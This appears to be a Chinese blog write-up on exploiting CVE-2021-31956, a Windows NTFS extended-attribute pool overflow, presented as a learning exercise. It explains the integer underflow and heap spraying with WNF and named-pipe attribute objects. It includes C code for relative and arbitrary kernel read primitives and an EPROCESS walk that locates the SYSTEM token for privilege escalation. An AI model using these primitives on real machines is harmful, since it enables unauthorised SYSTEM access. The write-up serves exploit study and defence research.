概述
CVE-2021-31956是微软2021年6月份披露的一个内核堆溢出漏洞,攻击者可以利用此漏洞实现本地权限提升,nccgroup的博客已经进行了详细的利用分析,不过并没有贴出exploit的源代码。
本篇文章记录一下自己学习windows exploit的过程,使用的利用技巧和nccgroup提到的大同小异,仅供学习参考。
漏洞定位
漏洞定位在windows的NTFS文件系统驱动上(C:\Windows\System32\drivers\ntfs.sys),NTFS文件系统允许为每一个文件额外存储若干个键值对属性,称之为EA(Extend Attribution) 。从微软的开发文档上可以查出,有一些系统调用是用来处理键值对的读写操作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| NTSTATUS ZwSetEaFile( [in] HANDLE FileHandle, [out] PIO_STATUS_BLOCK IoStatusBlock, [in] PVOID Buffer, [in] ULONG Length );
NTSTATUS ZwQueryEaFile( [in] HANDLE FileHandle, [out] PIO_STATUS_BLOCK IoStatusBlock, [out] PVOID Buffer, [in] ULONG Length, [in] BOOLEAN ReturnSingleEntry, [in, optional] PVOID EaList, [in] ULONG EaListLength, [in, optional] PULONG EaIndex, [in] BOOLEAN RestartScan );
typedef struct _FILE_GET_EA_INFORMATION { ULONG NextEntryOffset; UCHAR EaNameLength; CHAR EaName[1]; } FILE_GET_EA_INFORMATION, *PFILE_GET_EA_INFORMATION;
typedef struct _FILE_FULL_EA_INFORMATION { ULONG NextEntryOffset; UCHAR Flags; UCHAR EaNameLength; USHORT EaValueLength; CHAR EaName[1]; } FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
|
如下是查询EA的系统调用实现,查询时接收一个用户传入的字典的key集合eaList,将查询到的键值对写入到output_buffer。每次写完一个键值对,需要四字节对齐,函数内部维护了一个变量padding_length用来指示每次向output_buffer写入时需要额外填充的数据长度,同时维护了一个变量为output_buffer_length用来记录output_buffer剩余的可用空间。但是在【A】处写入键值对时并没有检查output_buffer_length是否大于padding_length,两个uint32相减以后发生整数溢出绕过检查,在后面memmove的时候实现任意长度,任意内容越界写。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94
| _QWORD *__fastcall NtfsQueryEaUserEaList(_QWORD *a1, FILE_FULL_EA_INFORMATION *ea_blocks_for_file, __int64 a3, __int64 output_buffer, unsigned int output_buffer_length, PFILE_GET_EA_INFORMATION eaList, char a7) { int v8; ULONG eaList_iter; unsigned int padding_length; PFILE_GET_EA_INFORMATION current_ea; ULONG v12; UCHAR v13; PFILE_GET_EA_INFORMATION i; unsigned int output_idx_; FILE_FULL_EA_INFORMATION *output_iter; unsigned int current_ea_output_length; unsigned int v18; FILE_FULL_EA_INFORMATION *v20; char v21; ULONG next_iter; unsigned int v23; FILE_FULL_EA_INFORMATION *v24; struct _STRING reqEaName; STRING SourceString; unsigned int output_idx;
v8 = 0; *a1 = 0i64; v24 = 0i64; eaList_iter = 0; output_idx = 0; padding_length = 0; a1[1] = 0i64; while ( 1 ) { current_ea = (PFILE_GET_EA_INFORMATION)((char *)eaList + eaList_iter); *(_QWORD *)&reqEaName.Length = 0i64; reqEaName.Buffer = 0i64; *(_QWORD *)&SourceString.Length = 0i64; SourceString.Buffer = 0i64; *(_QWORD *)&reqEaName.Length = current_ea->EaNameLength; reqEaName.MaximumLength = reqEaName.Length; reqEaName.Buffer = current_ea->EaName; RtlUpperString(&reqEaName, &reqEaName); if ( !NtfsIsEaNameValid(&reqEaName) ) break; v12 = current_ea->NextEntryOffset; v13 = current_ea->EaNameLength; next_iter = current_ea->NextEntryOffset + eaList_iter; for ( i = eaList; ; i = (PFILE_GET_EA_INFORMATION)((char *)i + i->NextEntryOffset) ) { if ( i == current_ea ) { output_idx_ = output_idx; output_iter = (FILE_FULL_EA_INFORMATION *)(output_buffer + padding_length + output_idx); if ( NtfsLocateEaByName((__int64)ea_blocks_for_file, *(_DWORD *)(a3 + 4), &reqEaName, &v23) ) { v20 = (FILE_FULL_EA_INFORMATION *)((char *)ea_blocks_for_file + v23); current_ea_output_length = v20->EaValueLength + v20->EaNameLength + 9; if ( current_ea_output_length <= output_buffer_length - padding_length ) { memmove(output_iter, v20, current_ea_output_length); output_iter->NextEntryOffset = 0; goto LABEL_8; } } else { current_ea_output_length = current_ea->EaNameLength + 9; if ( current_ea_output_length + padding_length <= output_buffer_length ) { output_iter->NextEntryOffset = 0; output_iter->Flags = 0; output_iter->EaNameLength = current_ea->EaNameLength; output_iter->EaValueLength = 0; memmove(output_iter->EaName, current_ea->EaName, current_ea->EaNameLength); SourceString.Length = reqEaName.Length; SourceString.MaximumLength = reqEaName.Length; SourceString.Buffer = output_iter->EaName; RtlUpperString(&SourceString, &SourceString); output_idx_ = output_idx; output_iter->EaName[current_ea->EaNameLength] = 0; LABEL_8: v18 = current_ea_output_length + padding_length + output_idx_; output_idx = v18; if ( !a7 ) { if ( v24 ) v24->NextEntryOffset = (_DWORD)output_iter - (_DWORD)v24; if ( current_ea->NextEntryOffset ) { v24 = output_iter; output_buffer_length -= current_ea_output_length + padding_length; padding_length = ((current_ea_output_length + 3) & 0xFFFFFFFC) - current_ea_output_length; goto LABEL_26; } } ...
|
漏洞分析
在具体介绍利用之前,需要先简单了解一下windows的堆分配算法。Windows10引入了新的方式进行堆块管理,称为Segment Heap,这里有篇文章对此进行了详细的描述https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf。
每个堆块有个堆头用来记录元信息,占据了16个字节,结构如下。
1 2 3 4 5 6 7 8
| typedef struct { char previousSize; char poolIndex; char blockSize; char poolType; int tag; void* processBilled; }PoolHeader;
|
相对偏移地址读写
这个漏洞里,越界对象output_buffer是系统临时申请的堆块,系统调用结束以后会被立即释放,不能持久化保存,这导致SegmentHeap Aligned Chunk Confusion的方法在这里并不适用。 通过实验发现windows在free时的检查并不严格,通过合理控制越界内容,破坏掉下一个堆块的PoolHeader以后,并不会触发异常,这允许我们直接覆盖下一个堆块的数据,接下来的目标就是挑选合适的被攻击堆块对象。
通过查阅资料,我找到了一个用户可以自定义大小的结构体_WNF_STATE_DATA。关于WNF的实际用法,微软并没有提供官方的说明文档,这里不展开介绍,只用把它理解成一个内核实现的数据存储器即可。通过NtCreateWnfStateName创建一个WNF对象实例,实例的数据结构为_WNF_NAME_INSTANCE;通过NtUpdateWnfStateData可以往对象里写入数据,使用_WNF_STATE_DATA数据结构存储写入的内容;通过NtQueryWnfStateData可以读取之前写入的数据,通过NtDeleteWnfStateData可以释放掉这个对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| struct _WNF_NAME_INSTANCE { struct _WNF_NODE_HEADER Header; struct _EX_RUNDOWN_REF RunRef; struct _RTL_BALANCED_NODE TreeLinks; struct _WNF_STATE_NAME_STRUCT StateName; struct _WNF_SCOPE_INSTANCE* ScopeInstance; struct _WNF_STATE_NAME_REGISTRATION StateNameInfo; struct _WNF_LOCK StateDataLock; struct _WNF_STATE_DATA* StateData; ULONG CurrentChangeStamp; VOID* PermanentDataStore; struct _WNF_LOCK StateSubscriptionListLock; struct _LIST_ENTRY StateSubscriptionListHead; struct _LIST_ENTRY TemporaryNameListEntry; struct _EPROCESS* CreatorProcess; LONG DataSubscribersCount; LONG CurrentDeliveryCount; }; struct _WNF_STATE_DATA { struct _WNF_NODE_HEADER Header; ULONG AllocatedSize; ULONG DataSize; ULONG ChangeStamp; };
|
举例说明,WNF数据在内核里的保存方式如下所示
1 2 3 4 5 6 7 8 9
| 1: kd> dd ffffdd841d4b6850 ffffdd84`1d4b6850 0b0c0000 20666e57 25a80214 73ca76c5 ffffdd84`1d4b6860 00100904 000000a0 000000a0 00000001 ffffdd84`1d4b6870 61616161 61616161 61616161 61616161 ffffdd84`1d4b6880 61616161 61616161 61616161 61616161 ffffdd84`1d4b6890 61616161 61616161 61616161 61616161 ffffdd84`1d4b68a0 61616161 61616161 61616161 61616161 ffffdd84`1d4b68b0 61616161 61616161 61616161 61616161 ffffdd84`1d4b68c0 61616161 61616161 61616161 61616161
|
通过喷堆,控制堆布局如下,NtFE是可以越界写的 chunk,后面紧挨着的是_WNF_STATE_DATA数据结构。越界修改结构体里的DataSize对象,接下来调用NtQueryWnfStateData实现相对偏移地址读写。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| 0: kd> g Breakpoint 1 hit Ntfs!NtfsQueryEaUserEaList: fffff802`3d2a8990 4c894c2420 mov qword ptr [rsp+20h],r9 1: kd> !pool r9 Pool page ffffdd841d4b67a0 region is Paged pool ffffdd841d4b6010 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 ffffdd841d4b60d0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 ffffdd841d4b6190 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 ffffdd841d4b6250 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 ffffdd841d4b6310 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 ffffdd841d4b63d0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 ffffdd841d4b6490 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 ffffdd841d4b6550 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 ffffdd841d4b6610 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 ffffdd841d4b66d0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 *ffffdd841d4b6790 size: c0 previous size: 0 (Allocated) *NtFE Pooltag NtFE : Ea.c, Binary : ntfs.sys ffffdd841d4b6850 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 ffffdd841d4b6910 size: c0 previous size: 0 (Free) .... ffffdd841d4b69d0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 ffffdd841d4b6a90 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 ffffdd841d4b6b50 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 ffffdd841d4b6c10 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 ffffdd841d4b6cd0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 ffffdd841d4b6d90 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 ffffdd841d4b6e50 size: c0 previous size: 0 (Free) .... ffffdd841d4b6f10 size: c0 previous size: 0 (Free) ....
|
被篡改过后的_WNF_STATE_DATA 数据结构
1 2 3 4 5 6 7 8 9
| 1: kd> dd ffffdd841d4b6850 ffffdd84`1d4b6850 030c0000 41414141 00000000 00000000 ffffdd84`1d4b6860 00000000 0000ffff 000003cc 00000000 ffffdd84`1d4b6870 61616161 61616161 61616161 61616161 ffffdd84`1d4b6880 61616161 61616161 61616161 61616161 ffffdd84`1d4b6890 61616161 61616161 61616161 61616161 ffffdd84`1d4b68a0 61616161 61616161 61616161 61616161 ffffdd84`1d4b68b0 61616161 61616161 61616161 61616161 ffffdd84`1d4b68c0 61616161 61616161 61616161 61616161
|
接下来讲述如何将相对偏移读写转换为任意地址读写。
任意地址读
我们需要使用到另外一个数据结构PipeAttribution,和WNF类似,这个对象可以自定义大小。这里两个指针AttributeName、AttributeValue 正常情况下是指向PipeAttribute.data[]后面的,如果通过堆布局,将AttributeValue的指针该为任意地址,就可以实现任意地址读。遗憾的是,windows并没有提供直接更新该数据结构的功能,不能通过该方法进行任意地址写。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| struct PipeAttribute { LIST_ENTRY list; char * AttributeName; uint64_t AttributeValueSize ; char * AttributeValue ; char data [0]; }; typedef struct { HANDLE read; HANDLE write; } PIPES;
void pipe_init(PIPES* pipes) { if (!CreatePipe(&pipes->read, &pipes->write, NULL, 0x1000)) { printf("createPipe fail\n"); return 1; } return 0; }
int pipe_write_attr(PIPES* pipes, char* name, void* value, int total_size) { size_t length = strlen(name); memcpy(tmp_buffer, name, length + 1); memcpy(tmp_buffer + length + 1, value, total_size - length - 1); IO_STATUS_BLOCK statusblock; char output[0x100]; int mystatus = NtFsControlFile(pipes->write, NULL, NULL, NULL, &statusblock, 0x11003C, tmp_buffer, total_size, output, sizeof(output)); if (!NT_SUCCESS(mystatus)) { printf("pipe_write_attr fail 0x%x\n", mystatus); return 1; } return 0; }
int pipe_read_attr(PIPES* pipes, char* name, char* output,int size) { IO_STATUS_BLOCK statusblock; int mystatus = NtFsControlFile(pipes->write, NULL, NULL, NULL, &statusblock, 0x110038, name,strlen(name)+1, output, size); if (!NT_SUCCESS(mystatus)) { printf("pipe_read_attr fail 0x%x\n", mystatus); return 1; } return 0; }
|
理想情况下的堆布局如下所示,ffffdd841d4b6850是之前被覆盖的_WNF_STATE_DATA对象,其余的chunk被释放,然后使用PipeAttribution对象堆喷重新占回。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| 1: kd> !pool ffffdd841d4b6850 Pool page ffffdd841d4b6850 region is Paged pool ffffdd841d4b6010 size: c0 previous size: 0 (Free) NpAt ffffdd841d4b60d0 size: c0 previous size: 0 (Free) NpAt ffffdd841d4b6190 size: c0 previous size: 0 (Free) NpAt ffffdd841d4b6250 size: c0 previous size: 0 (Free) NpAt ffffdd841d4b6310 size: c0 previous size: 0 (Free) NpAt ffffdd841d4b63d0 size: c0 previous size: 0 (Free) NpAt ffffdd841d4b6490 size: c0 previous size: 0 (Free) NpAt ffffdd841d4b6550 size: c0 previous size: 0 (Free) NpAt ffffdd841d4b6610 size: c0 previous size: 0 (Free) NpAt ffffdd841d4b66d0 size: c0 previous size: 0 (Free) NpAt ffffdd841d4b6790 size: c0 previous size: 0 (Free) NpAt *ffffdd841d4b6850 size: c0 previous size: 0 (Allocated) *AAAA Owning component : Unknown (update pooltag.txt) ffffdd841d4b6910 size: c0 previous size: 0 (Allocated) NpAt ffffdd841d4b69d0 size: c0 previous size: 0 (Free) NpAt ffffdd841d4b6a90 size: c0 previous size: 0 (Free) NpAt ffffdd841d4b6b50 size: c0 previous size: 0 (Free) NpAt ffffdd841d4b6c10 size: c0 previous size: 0 (Free) NpAt ffffdd841d4b6cd0 size: c0 previous size: 0 (Free) NpAt ffffdd841d4b6d90 size: c0 previous size: 0 (Free) NpAt ffffdd841d4b6e50 size: c0 previous size: 0 (Free) NpAt ffffdd841d4b6f10 size: c0 previous size: 0 (Free) NpAt 1: kd> dq ffffdd841d4b6910 ffffdd84`1d4b6910 7441704e`030c0000 00000000`00000000 ffffdd84`1d4b6920 ffffdd84`1c8e6cb0 ffffdd84`1c8e6cb0 ffffdd84`1d4b6930 ffffdd84`1d4b6948 00000000`00000078 ffffdd84`1d4b6940 ffffdd84`1d4b6950 00313330`315f6161 ffffdd84`1d4b6950 61616161`00000407 61616161`61616161 ffffdd84`1d4b6960 61616161`61616161 61616161`61616161 ffffdd84`1d4b6970 61616161`61616161 61616161`61616161 ffffdd84`1d4b6980 61616161`61616161 61616161`61616161
|
根据上面讲述的方法实现任意地址读函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| int ab_read(void* addr, void* dst, int size) { WNF_CHANGE_STAMP stamp; char readData[0x400]; ULONG readDataSize = sizeof(readData); NTSTATUS st; static char wtf_buf[0x1000]; st = NtQueryWnfStateData(oobst, 0, 0, &stamp, readData, &readDataSize); if (!NT_SUCCESS(st)) { DEBUG("NtQueryWnfStateData fail %x\n", st); return 1; } PipeAttr* pa = (PipeAttr*)(readData + CHUNK_SIZE); pa->value = addr; if (size < 0x20) pa->value_len = 0x100; else pa->value_len = size; st = NtUpdateWnfStateData(oobst, readData, readDataSize, 0, 0, 0, 0); if (!NT_SUCCESS(st)) { DEBUG("NtQueryWnfStateData fail %x\n", st); return 1; } if (pipe_read_attr(&pipes, attackName, wtf_buf, sizeof(wtf_buf))) { return 1; } memcpy(dst, wtf_buf, size); return 0; }
|
任意地址写
我通过修改_WNF_NAME_INSTANCE结构体内的指针_WNF_STATE_DATA实现任意地址写。具体操作是再次释放掉原来的PipeAttribution,使用_WNF_NAME_INSTANCE重新进行堆喷,布局好的堆如下所示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| 1: kd> !pool ffffdd841d4b6850 Pool page ffffdd841d4b6850 region is Paged pool ffffdd841d4b6010 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 ffffdd841d4b60d0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 ffffdd841d4b6190 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 ffffdd841d4b6250 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 ffffdd841d4b6310 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 ffffdd841d4b63d0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 ffffdd841d4b6490 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 ffffdd841d4b6550 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 ffffdd841d4b6610 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 ffffdd841d4b66d0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 ffffdd841d4b6790 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 *ffffdd841d4b6850 size: c0 previous size: 0 (Allocated) *AAAA Owning component : Unknown (update pooltag.txt) ffffdd841d4b6910 size: c0 previous size: 0 (Allocated) NpAt ffffdd841d4b69d0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 ffffdd841d4b6a90 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 ffffdd841d4b6b50 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 ffffdd841d4b6c10 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 ffffdd841d4b6cd0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 ffffdd841d4b6d90 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 ffffdd841d4b6e50 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 ffffdd841d4b6f10 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
|
通过局部地址读写,覆盖掉下一个Wnf结构体(ffffdd841d4b69d0 )里的_WNF_STATE_DATA,使用对应的结构体进行NtUpdateWnfStateData操作,即可实现任意地址写。
Windows权限提升
windows权限提升的方法一般都是遍历进程链表,找到高权限进程的token(8字节),替换当前进程的token。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| ULONGLONG token_addr = eprocess + token_offset; UCHAR* begin_eprocess = eprocess; while (1) { ULONGLONG process_id; ab_read(eprocess + process_id_offset, &process_id, 8); if (process_id == 4) { break; } UCHAR* tmp; ab_read(eprocess + link_offset, &tmp, 8); tmp -= link_offset; if (tmp == begin_eprocess) { break; } eprocess = tmp; } ULONGLONG token; ab_read(eprocess + token_offset,&token, 8); DEBUG("system token %016llx\n", token);
|
最后执行cmd。
总结
该漏洞的触发条件并不复杂,利用过程也比较简单,虽然windows的堆分配已经有了很大的随机化,但是大力出奇迹,很容易能够得到理想的堆布局,本地实验过程中的exp基本很少将系统打崩溃。写exp的主要时间是在学习windows系统调用如何传参,查阅了很多文档才搞清楚WNF的用法。总体来说难度不大,非常适合初学者入门。